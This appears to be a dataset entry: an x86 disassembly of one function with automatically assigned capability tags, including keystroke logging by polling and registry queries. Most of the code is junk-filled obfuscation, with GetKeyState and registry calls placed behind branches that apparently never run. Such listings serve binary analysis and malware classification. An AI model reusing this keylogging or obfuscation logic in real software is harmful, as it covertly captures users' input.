Function at 0x10019368
Capabilities:
Get common file path
Log keystrokes via polling
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1008116f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1f8
push ebx
push esi
push edi
push 3
pop esi
mov dword [esp + 0x38], ecx
lea ecx, [esp + 0xc4]
push esi
mov dword [esp + 0xa8], edx
call fcn.100173c8
xor edi, edi
inc edi
xor ebx, ebx
mov dword [esp + 0x24], edi
mov dword [esp + 0xc], ebx
jmp 0x100193cc
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0xc4]
mov dword [eax + ecx*4], 0x2e91a049
inc dword [esp + 0xc]
cmp dword [esp + 0xc], esi
jl 0x100193b6
mov dword [esp + 0xc], ebx
jmp 0x100193eb
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x17c], 0xaa237f4a
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 2
jl 0x100193d8
mov eax, dword [esp + 0xc4]
mov dword [eax], ebx
mov dword [esp + 0x14], esi
mov dword [esp + 0x1c], 0xe215169f
mov dword [esp + 0x24], 0xa0949511
mov dword [esp + 0x28], 0x19791169
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x1c], eax
cmp dword [esp + 0x1c], 0xfffffffb
sbb eax, eax
xor edx, edx
inc eax
mov dword [esp + 0x17c], eax
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
cmp ecx, eax
mov eax, dword [esp + 0x28]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x14]
setl cl
mov dword [esp + 0x24], ecx
xor ecx, ecx
cmp dword [esp + 0x24], eax
setl cl
sub edx, ecx
neg edx
sbb edx, edx
xor eax, eax
inc edx
add edx, dword [esp + 0x14]
cmp edx, 0xffffffff
setne al
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0xc4]
inc dword [eax]
cmp dword [eax], 0x15
jl 0x100193fb
lea ecx, [esp + 0xc4]
call fcn.10017c88
push 0xfffffffffffffff6
pop esi
mov dword [esp + 0x20], edi
mov dword [esp + 0x20], 0x4643
push 3
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], ebx
pop ecx
jmp 0x100194d2
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x64], ecx
inc dword [esp + 0x10]
cmp dword [esp + 0x10], ecx
jl 0x100194c6
mov dword [esp + 0xc], 2
cmp dword [esp + 0xc], ebx
jl 0x10019547
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], bl
je 0x10019509
push ebx
push ebx
push 0x181b
push 0x1a83
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
mov eax, dword [esp + 0xc]
push 0
pop ecx
mov eax, dword [esp + eax*4 + 0x64]
mov eax, dword [esp + 0xc]
mov eax, dword [esp + 0xc]
mov eax, dword [esp + eax*4 + 0x64]
mov eax, dword [esp + 0x6c]
mov eax, dword [esp + 0xc]
mov eax, dword [esp + eax*4 + 0x64]
mov eax, dword [esp + 0xc]
mov eax, dword [esp + eax*4 + 0x64]
neg eax
mov eax, dword [esp + 0xc]
sets cl
mov dword [esp + eax*4 + 0x64], ecx
dec dword [esp + 0xc]
jns 0x100194e6
mov dword [esp + 0x20], 0x59c17633
mov dword [esp + 0x20], 9
mov dword [esp + 0x20], 0x3fbb4ebb
mov dword [esp + 0x20], 0x3e31551d
mov dword [esp + 0x20], 0x49cec79e
mov dword [esp + 0x20], ebx
mov dword [esp + 0x20], 0x71247adf
mov dword [esp + 0x20], 0xc40ed3c1
mov dword [esp + 0x20], 0xffffffff
mov dword [esp + 0x20], 0xc87a7525
mov dword [esp + 0x20], 0x9cf13e1
mov dword [esp + 0x20], 0xd49fcfbc
mov dword [esp + 0x20], 0x44cf5927
mov dword [esp + 0x20], 0xfffffffe
mov dword [esp + 0x28], edi
dec dword [esp + 0x28]
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x2443ac46
mov dword [esp + 0x10], ebx
jmp 0x100195dc
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x1f8], ebx
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 2
jl 0x100195cd
cmp dword [esp + 0xc], ebx
je 0x10019693
push dword [esp + 0x38]
movdqa xmm0, xmmword [0x10008300]
lea eax, [esp + 0x1e0]
push eax
lea eax, [esp + 0x1d4]
mov dword [esp + 0xb0], ebx
push eax
push ebx
lea ecx, [esp + 0xb8]
mov dword [esp + 0xbc], ebx
movdqu xmmword [esp + 0x1dc], xmm0
mov dword [esp + 0xc0], ebx
call fcn.10018a3b
mov dword [esp + 0xc], 3
cmp dword [esp + 0xc], ebx
jl 0x10019685
mov dword [esp + 0x10], 0x73d2d672
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], bl
je 0x1001965c
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
mov dword [esp + 0x10], ebx
jmp 0x10019678
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0xa8]
mov dword [eax + ecx*4], 0xfffffff7
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 4
jl 0x10019662
dec dword [esp + 0xc]
jns 0x10019642
lea ecx, [esp + 0xa8]
call fcn.10017c88
jmp 0x100196e0
mov dword [esp + 0x24], 0xfe75
mov dword [esp + 0xc], ebx
jmp 0x100196cd
mov eax, dword [esp + 0xc]
mov dword [esp + 0x14], eax
mov dword [esp + 0x14], ebx
jmp 0x100196c3
mov dword [esp + 0x28], 0x64c7b7f6
mov eax, dword [esp + 0x28]
mov dword [esp + 0x28], eax
dec dword [esp + 0x14]
cmp dword [esp + 0x14], esi
jle 0x100196af
dec dword [esp + 0xc]
cmp dword [esp + 0xc], 0xffffffe3
jne 0x100196a1
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
mov dword [esp + 0x24], eax
mov dword [esp + 0x10], 0x152c58fb
lea ecx, [esp + 0x120]
push 3
call fcn.100173c8
mov dword [esp + 0x20], 5
push 0xfffffffffffffffa
mov dword [esp + 0x28], ebx
pop esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0xc], ebx
jmp 0x1001971f
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x4c], 0x58d32ffa
inc dword [esp + 0xc]
cmp dword [esp + 0xc], edi
jl 0x1001970f
mov dword [esp + 0xc], ebx
jmp 0x10019741
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x120]
mov dword [eax + ecx*4], 0x7c8748af
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 3
jl 0x1001972b
mov dword [esp + 0xc], ebx
jmp 0x1001975e
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x48], 0x364d
inc dword [esp + 0xc]
cmp dword [esp + 0xc], edi
jl 0x1001974e
mov dword [esp + 0xc], ebx
jmp 0x1001977d
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x118], 0x2da3c3d
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 2
jl 0x1001976a
mov eax, dword [esp + 0x4c]
mov edx, dword [esp + 0x120]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov dword [edx + 8], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x118], eax
inc dword [esp + 0x1c]
cmp dword [esp + 0x48], 0xc7e7
je 0x100197d2
mov eax, dword [esp + 0x48]
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x118], eax
test eax, eax
je 0x100197d2
mov ecx, edi
cmp dword [esp + 0x10], ebx
jne 0x100197d4
mov ecx, ebx
xor eax, eax
mov dword [edx + 8], ecx
cmp ecx, 0xffffffff
sete al
xor ecx, ecx
cmp eax, 0x6c49a7e
setne cl
imul ecx, dword [esp + 0x1c]
mov dword [esp + 0x10], ecx
lea ecx, [esp + 0x120]
call fcn.10017c88
mov dword [esp + 0xc], 0xc7894801
lea ecx, [esp + 0x18c]
mov dword [esp + 0x14], 0x2aa53f0d
mov dword [esp + 0x24], 0xe26
push edi
call fcn.100173c8
mov dword [esp + 0x10], ebx
jmp 0x1001983f
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18c]
mov dword [eax + ecx*4], 0xfffffff7
inc dword [esp + 0x10]
cmp dword [esp + 0x10], edi
jl 0x10019829
cmp dword [esp + 0xc], ebx
je 0x1001985d
mov dword [esp + 0x24], 0x2fd4
mov eax, dword [esp + 0xc]
mov dword [esp + 0x24], eax
jmp 0x100198d7
mov dword [esp + 0x1c], 0xbf38c088
mov dword [esp + 0x10], ebx
jmp 0x1001987a
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x110], esi
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 2
jl 0x1001986b
cmp dword [esp + 0xc], ebx
jne 0x1001988f
mov eax, dword [esp + 0x1c]
mov esi, ebx
jmp 0x10019891
mov esi, edi
cmp dword [esp + 0x1c], 7
mov eax, dword [esp + 0x1c]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
setg dl
mov dword [esp + 0x114], edx
mov dword [esp + 0xc], esi
mov eax, dword [esp + 0x14]
sub eax, dword [esp + 0xc]
lea eax, [edx + eax*8]
test eax, eax
je 0x100198c9
mov eax, edi
cmp dword [esp + 0x114], ebx
jne 0x100198cb
mov eax, ebx
mov dword [esp + 0x24], eax
mov dword [esp + 0x14], 0x41b44adc
mov dword [esp + 0x14], ebx
jmp 0x10019916
mov dword [esp + 0x24], 0xffffffff
mov dword [esp + 0xc], ebx
cmp dword [esp + 0xc], ebx
jl 0x1001990a
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], bl
je 0x10019904
push 0x1d11
call dword [sym.imp.USER32.dll_GetKeyState]
dec dword [esp + 0xc]
jns 0x100198ef
mov eax, dword [esp + 0x24]
mov dword [esp + 0xc], eax
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 6
jl 0x100198dd
lea ecx, [esp + 0x18c]
call fcn.10017c88
mov dword [esp + 0x30], 0xac204e2
lea ecx, [esp + 0xdc]
mov dword [esp + 0xc], 0x7f6af112
push edi
call fcn.100173c8
mov dword [esp + 0x20c], ebx
mov dword [esp + 0x14], 0x279e56
mov dword [esp + 0x2c], 0x101aedf4
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x2c], 0xfffffff9
mov dword [esp + 0x28], 0xffffffff
mov dword [esp + 0x10], 0xffffffff
mov dword [esp + 0x24], ebx
mov dword [esp + 0x20], edi
push 0xfffffffffffffffd
mov dword [esp + 0x2c], 7
pop esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x10], ebx
jmp 0x100199a8
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0xdc]
mov dword [eax + ecx*4], edi
inc dword [esp + 0x10]
cmp dword [esp + 0x10], edi
jl 0x10019996
mov dword [esp + 0xc], 0x1d
cmp dword [esp + 0xc], 0xffffffee
je 0x10019af4
push 2
lea ecx, [esp + 0xf8]
call fcn.100173c8
mov dword [esp + 0x28], 0xfffffffe
mov dword [esp + 0x10], ebx
jmp 0x100199f0
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0xf4]
or dword [eax + ecx*4], 0xffffffff
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 2
jl 0x100199dd
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x10019a0e
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edi, dword [esp + 0xf4]
lea esi, [edi + 4]
mov dword [esi], ebx
mov eax, dword [esp + 0xdc]
mov edx, dword [esi]
mov dword [esp + 0x10], 0xc93cc254
mov dword [esp + 0x14], 0x7d19fa5
mov ecx, dword [eax + edx*4]
mov dword [eax + edx*4], ecx
xor eax, eax
test ecx, ecx
setne al
mov dword [esp + 0x24], eax
cmp dword [edi], ebx
jne 0x10019a55
cmp dword [esp + 0xc], ebx
jne 0x10019a55
xor edi, edi
mov edx, ebx
inc edi
jmp 0x10019a5a
xor edi, edi
inc edi
mov edx, edi
mov eax, dword [esp + 0x10]
xor ecx, ecx
cmp edx, eax
push 0xfffffffffffffff7
setge cl
xor eax, eax
cmp dword [esi], ecx
setle al
xor edx, edx
cmp eax, 0x978d
mov eax, dword [esp + 0x10]
setle dl
xor ecx, ecx
cmp edx, eax
pop eax
setge cl
cmp eax, ecx
push 9
sbb edx, edx
xor ecx, ecx
pop eax
sub eax, dword [esp + 0x24]
neg edx
cmp eax, edx
setne cl
mov dword [esp + 0x28], ecx
cmp dword [esp + 0x28], 0x493876a4
jl 0x10019aaa
mov eax, dword [esp + 0x14]
cmp dword [esp + 0xc], ebx
jne 0x10019ab4
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
xor ecx, ecx
cmp eax, dword [esi]
setne cl
inc dword [esi]
cmp dword [esi], 0
mov dword [esp + 0x14], ecx
jg 0x10019ad6
mov edi, dword [esp + 0xf4]
jmp 0x10019a1a
lea ecx, [esp + 0xf4]
call fcn.10017c88
dec dword [esp + 0xc]
cmp dword [esp + 0xc], 0xffffffee
jne 0x100199c1
push 0xfffffffffffffffd
pop esi
cmp dword [esp + 0xc], ebx
jne 0x10019b5c
cmp dword [esp + 0x14], ebx
je 0x10019b04
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x2c]
dec ecx
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
add ecx, 2
cmp ecx, eax
mov eax, dword [esp + 0x1c]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [esp + 0x28], ecx
mov eax, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x24], eax
cmp dword [esp + 0x10], 0x8610f121
mov eax, dword [esp + 0x2c]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [esp + 0x20]
setge dl
sub edx, eax
mov edx, ebx
je 0x10019b5e
mov edx, edi
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0xdc]
mov dword [eax], ecx
mov dword [esp + 0x2c], ecx
xor ecx, ecx
mov eax, dword [esp + 0x14]
cmp edx, eax
setg cl
mov dword [esp + 0x28], ecx
mov eax, dword [esp + 0x28]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x28]
cmp edi, eax
mov eax, dword [esp + 0x2c]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
setg dl
mov dword [esp + 0x20], edx
xor edx, edx
cmp ecx, eax
lea ecx, [esp + 0xdc]
setge dl
sub edx, dword [esp + 0x20]
neg edx
sbb edx, edx
inc edx
mov dword [esp + 0xc], edx
or dword [esp + 0x20c], 0xffffffff
call fcn.10017c88
mov dword [esp + 0x50], 0x4438bea1
lea ecx, [esp + 0x1a4]
push 2
call fcn.100173c8
mov dword [esp + 0x20c], edi
lea ecx, [esp + 0x144]
mov dword [esp + 0x10], 0xfffffffe
push 2
call fcn.100173c8
mov byte [esp + 0x20c], 2
lea ecx, [esp + 0xb8]
mov dword [esp + 0x14], 0xa733e34b
mov dword [esp + 0x1c], 0xfffb
mov dword [esp + 0x24], 0x1a6e483b
push edi
call fcn.100173c8
push 2
mov dword [esp + 0x30], 0xffffffff
mov dword [esp + 0x10], ebx
pop edx
jmp 0x10019c55
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x1a4]
mov dword [eax + ecx*4], 0xffff
inc dword [esp + 0xc]
cmp dword [esp + 0xc], edx
jl 0x10019c3f
mov dword [esp + 0xc], ebx
jmp 0x10019c73
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x144]
mov dword [eax + ecx*4], edi
inc dword [esp + 0xc]
cmp dword [esp + 0xc], edx
jl 0x10019c61
mov dword [esp + 0xc], ebx
jmp 0x10019c95
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0xb8]
mov dword [eax + ecx*4], 0x904e20ee
inc dword [esp + 0xc]
cmp dword [esp + 0xc], edi
jl 0x10019c7f
mov dword [esp + 0x10], edi
cmp dword [esp + 0x10], ebx
jl 0x10019d57
mov dword [esp + 0x20], ebx
mov dword [esp + 0xc], ebx
jmp 0x10019cc6
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x184], 0xfffffff8
inc dword [esp + 0xc]
cmp dword [esp + 0xc], edx
jl 0x10019cb3
mov dword [esp + 0xc], ebx
jmp 0x10019ce5
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x1ec], 0xffffffff
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 3
jl 0x10019cd2
mov dword [esp + 0xc], ebx
jmp 0x10019d01
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x9c], ebx
inc dword [esp + 0xc]
cmp dword [esp + 0xc], edi
jl 0x10019cf2
inc dword [esp + 0x1c]
xor ecx, ecx
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x9c]
mov eax, dword [esp + 0x20]
mov eax, dword [esp + 0x1ec]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x188]
test eax, eax
setg cl
xor eax, eax
cmp ecx, 0x77771fda
mov ecx, dword [esp + 0x24]
setne al
add ecx, eax
mov eax, dword [esp + 0xb8]
mov dword [eax], ecx
dec dword [esp + 0x10]
jns 0x10019ca9
cmp dword [esp + 0x2c], ebx
je 0x10019d75
cmp dword [esp + 0x14], 0x799d45eb
jg 0x10019d6b
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x2c]
cmp dword [esp + 0x10], eax
jne 0x10019d7d
mov eax, ebx
cmp dword [esp + 0x1c], ebx
je 0x10019d7f
mov eax, edi
cmp esi, eax
mov eax, dword [esp + 0x144]
sbb ecx, ecx
neg ecx
add ecx, dword [eax]
mov eax, dword [esp + 0xb8]
neg ecx
sbb ecx, ecx
neg ecx
mov edx, dword [eax]
mov eax, dword [esp + 0x14]
imul edx, ecx
xor ecx, ecx
cmp edx, eax
mov eax, dword [esp + 0xb8]
setl cl
mov dword [eax], ecx
lea ecx, [esp + 0xb8]
call fcn.10017c88
lea ecx, [esp + 0x144]
call fcn.10017c88
or dword [esp + 0x20c], 0xffffffff
lea ecx, [esp + 0x1a4]
call fcn.10017c88
push dword [esp + 0x38]
movdqa xmm0, xmmword [0x10008310]
lea eax, [esp + 0x1f0]
push eax
lea eax, [esp + 0x1e4]
mov dword [esp + 0x48], 4
push eax
push ebx
lea ecx, [esp + 0x80]
mov dword [esp + 0x80], ebx
movdqu xmmword [esp + 0x1ec], xmm0
mov dword [esp + 0x84], ebx
mov dword [esp + 0x88], ebx
call fcn.10018a3b
mov dword [esp + 0x28], 0x8b8ae505
mov dword [esp + 0x2c], edi
mov dword [esp + 0x2c], 0xba75a592
mov dword [esp + 0x2c], 0xd3ecf04
mov dword [esp + 0x20], esi
mov dword [esp + 0x10], ebx
jmp 0x10019e68
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x8c], 0x5ab0
inc dword [esp + 0x10]
cmp dword [esp + 0x10], edi
jl 0x10019e55
mov esi, dword [esp + 0x70]
cmp dword [esi + 0xc], ebx
je 0x10019e7b
cmp dword [esi], ebx
jne 0x10019e7d
mov edi, ebx
cmp dword [esp + 0x28], ebx
jne 0x10019e8c
cmp dword [esi + 0xc], ebx
jne 0x10019e8c
mov eax, ebx
jmp 0x10019e8f
xor eax, eax
inc eax
mov dword [esp + 0x2c], eax
xor edx, edx
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x28]
cmp ecx, eax
setg dl
xor ecx, ecx
mov dword [esp + 0x2c], edx
mov eax, dword [esp + 0x2c]
imul eax, dword [esi + 0xc]
cmp edi, eax
setl cl
xor edx, edx
mov dword [esp + 0x2c], ecx
mov eax, dword [esp + 0x8c]
mov ecx, dword [esp + 0x2c]
sub ecx, eax
mov eax, dword [esp + 0x70]
cmp ecx, dword [eax + 4]
lea ecx, [esp + 0x70]
setne dl
sub edx, 0x4adc
neg edx
sbb edx, edx
inc edx
mov dword [esp + 0x20], edx
call fcn.10017c88
xor edi, edi
inc edi
push 3
mov dword [esp + 0x48], edi
mov dword [esp + 0x34], ebx
pop esi
cmp dword [esp + 0x30], 0xd
jl 0x1001a09d
mov dword [esp + 0xb4], 0x45bbbdeb
lea ecx, [esp + 0x138]
mov dword [esp + 0xa0], 0xb1af
push edi
call fcn.100173c8
mov dword [esp + 0x20c], esi
lea ecx, [esp + 0x1b0]
mov dword [esp + 0x20], edi
mov dword [esp + 0x20], 4
push esi
call fcn.100173c8
mov dword [esp + 0xc], ebx
jmp 0x10019f62
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x138]
mov dword [eax + ecx*4], 0x97f6af11
inc dword [esp + 0xc]
cmp dword [esp + 0xc], edi
jl 0x10019f4c
mov dword [esp + 0xc], ebx
jmp 0x10019f84
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x1b0]
mov dword [eax + ecx*4], 0xf47f28a9
inc dword [esp + 0xc]
cmp dword [esp + 0xc], esi
jl 0x10019f6e
mov eax, dword [esp + 0x138]
lea ecx, [esp + 0x1b0]
mov dword [eax], 0x12
call fcn.10017c88
or dword [esp + 0x20c], 0xffffffff
lea ecx, [esp + 0x138]
call fcn.10017c88
push dword [esp + 0x38]
movdqa xmm0, xmmword [0x10008390]
lea eax, [esp + 0x1d0]
push eax
lea eax, [esp + 0x1c4]
mov dword [esp + 0x98], ebx
push eax
mov dword [esp + 0xa4], 0x221494fb
lea ecx, [esp + 0xdc]
push ebx
movdqu xmmword [esp + 0x1cc], xmm0
mov dword [esp + 0xe0], ebx
mov dword [esp + 0xe4], ebx
mov dword [esp + 0xe8], ebx
call fcn.10018a3b
mov dword [esp + 0x10], edi
mov dword [esp + 0x10], ebx
jmp 0x1001a040
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x1001a03c
push 0x223
push 0x2598
push ebx
push 0x1c4f
push ebx
call dword [sym.imp.USER32.dll_GetMenuStringW]
inc dword [esp + 0x10]
cmp dword [esp + 0x10], esi
jle 0x1001a01a
lea ecx, [esp + 0xd0]
call fcn.10017c88
lea eax, [esp + 0x90]
push eax
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0xa4]
push eax
push ebx
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x68]
push eax
lea eax, [esp + 0xbc]
push eax
lea eax, [esp + 0xd4]
push 0x3428
push eax
call fcn.1001b754
add esp, 0x28
inc dword [esp + 0x30]
jmp 0x10019ef8
mov dword [esp + 0x30], ebx
jmp 0x1001a936
mov dword [esp + 0x2c], edi
lea ecx, [esp + 0xe8]
mov dword [esp + 0x10], 0x716b5b38
mov dword [esp + 0x28], 0xfffffff8
mov dword [esp + 0x24], 0x5db2b058
mov dword [esp + 0x1c], 0x51ef9953
mov dword [esp + 0x20], 0x48aab564
mov dword [esp + 0x20], 4
push esi
call fcn.100173c8
push edi
lea ecx, [esp + 0x154]
mov dword [esp + 0x210], 4
call fcn.100173c8
mov dword [esp + 0x20], 0x6f8a3e09
mov dword [esp + 0xc], ebx
jmp 0x1001a120
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x100], 0xb055cc25
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 4
jl 0x1001a10d
mov dword [esp + 0xc], ebx
jmp 0x1001a143
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0xe8]
mov dword [eax + ecx*4], 0x4caa5d73
inc dword [esp + 0xc]
cmp dword [esp + 0xc], esi
jl 0x1001a12d
mov dword [esp + 0xc], ebx
jmp 0x1001a165
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x150]
mov dword [eax + ecx*4], 8
inc dword [esp + 0xc]
cmp dword [esp + 0xc], edi
jl 0x1001a14f
mov dword [esp + 0xc], ebx
jmp 0x1001a184
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x198], 0xbb5c02ac
inc dword [esp + 0xc]
cmp dword [esp + 0xc], esi
jl 0x1001a171
mov eax, dword [esp + 0x100]
mov eax, dword [esp + 0x10c]
mov eax, dword [esp + 0x108]
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x150]
mov edx, dword [ecx]
cmp edx, edi
lea eax, [edx + 1]
mov dword [ecx], eax
mov eax, edi
mov ecx, dword [esp + 0xe8]
cmovle eax, ebx
xor edx, edx
cmp eax, dword [ecx + 8]
mov eax, dword [esp + 0x10c]
setne dl
sub edx, eax
mov eax, dword [esp + 0x100]
sub edx, dword [ecx + 8]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
mov eax, dword [esp + 0x20]
setne cl
imul eax, ecx
sub eax, dword [esp + 0x19c]
mov ecx, dword [esp + 0x28]
neg eax
sbb eax, eax
inc eax
imul ecx, eax
mov eax, dword [esp + 0xe8]
mov dword [eax], ecx
mov eax, esi
sub eax, ecx
jne 0x1001a217
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x1c]
xor ecx, ecx
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x19c]
mov eax, dword [esp + 0x2c]
cmp eax, 2
setle cl
mov dword [esp + 0x10], ecx
lea ecx, [esp + 0x150]
mov eax, dword [esp + 0x10]
mov dword [esp + 0x28], eax
call fcn.10017c88
or dword [esp + 0x20c], 0xffffffff
lea ecx, [esp + 0xe8]
call fcn.10017c88
mov dword [esp + 0x3c], 0x6042c8cd
mov dword [esp + 0xc], 8
push 0xfffffffffffffff7
pop eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x1c], 0xfffffffe
mov dword [esp + 0x20], 0xed7d4130
mov dword [esp + 0x10], ebx
jmp 0x1001a2aa
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x16c], 9
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 4
jl 0x1001a297
mov esi, edi
cmp dword [esp + 0xc], ebx
jne 0x1001a2d0
mov eax, dword [esp + 0xc]
xor ecx, ecx
cmp eax, 0xca70051
mov esi, ebx
setl cl
mov dword [esp + 0x178], ecx
mov ecx, dword [esp + 0x170]
xor edx, edx
mov eax, dword [esp + 0xc]
cmp eax, ecx
mov eax, 0xa83d87e3
setg dl
cmp eax, edx
sbb eax, eax
neg eax
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x170]
sub ecx, dword [esp + 0xc]
mov eax, dword [esp + 0xc]
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx
mov dword [esp + 0x2c], eax
cmp dword [esp + 0x2c], ebx
jne 0x1001a32b
cmp dword [esp + 0x1c], ebx
jne 0x1001a32b
mov eax, ebx
cmp dword [esp + 0x170], ebx
je 0x1001a32d
mov eax, edi
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
cmp eax, dword [esp + 0xc]
jg 0x1001a343
mov edx, edi
cmp dword [esp + 0x1c], ebx
jne 0x1001a345
mov edx, ebx
mov eax, dword [esp + 0xc]
xor ecx, ecx
cmp edx, eax
mov eax, 0xbc4433ac
mov edx, 0x69c3
sete cl
cmp eax, ecx
sbb eax, eax
xor cl, cl
inc eax
imul eax, dword [esp + 0xc]
sub esi, eax
lea eax, [esp + 0x40]
mov dword [esp + 0x20], esi
mov dword [esp + 0x94], ebx
push eax
call fcn.1001aa6b
pop ecx
cmp dword [esp + 0x30], ebx
jne 0x1001a39c
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x30]
sub ecx, eax
push 0
pop eax
setns al
cmp eax, dword [esp + 0x3c]
mov eax, ebx
jl 0x1001a39e
mov eax, edi
cmp dword [esp + 0x44], eax
jge 0x1001a820
push edi
lea ecx, [esp + 0x80]
call fcn.100173c8
mov dword [esp + 0x14], 0xffffffff
mov dword [esp + 0x10], 0xffffffff
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], edi
mov dword [esp + 0x14], ebx
jmp 0x1001a3e6
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x7c]
mov dword [eax + ecx*4], 0x13ec
inc dword [esp + 0x14]
cmp dword [esp + 0x14], edi
jl 0x1001a3d3
mov dword [esp + 0x14], ebx
cmp dword [esp + 0x14], ebx
jl 0x1001a585
mov dword [esp + 0xc], edi
mov dword [esp + 0x54], 0xffffffff
mov dword [esp + 0x58], 0xffffffff
mov dword [esp + 0x5c], 0xffffffff
mov dword [esp + 0x60], 0xffffffff
mov dword [esp + 0x20], 0x6bc97de2
mov dword [esp + 0xc], ebx
jmp 0x1001a571
mov dword [esp + 0x20], 0x90438315
mov edx, 0xb8f3d421
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x7c]
sub edx, dword [eax + ecx*4]
je 0x1001a4bd
mov dword [esp + 0x2c], 0x7f3e76e5
mov dword [esp + 0x20], 0x157736d0
mov eax, dword [esp + 0x14]
cmp dword [esp + 0x2c], ebx
jne 0x1001a46b
mov edx, ebx
cmp dword [esp + 0x10], ebx
je 0x1001a46d
mov edx, edi
mov esi, dword [esp + 0x14]
xor ecx, ecx
mov eax, dword [esp + 0xc]
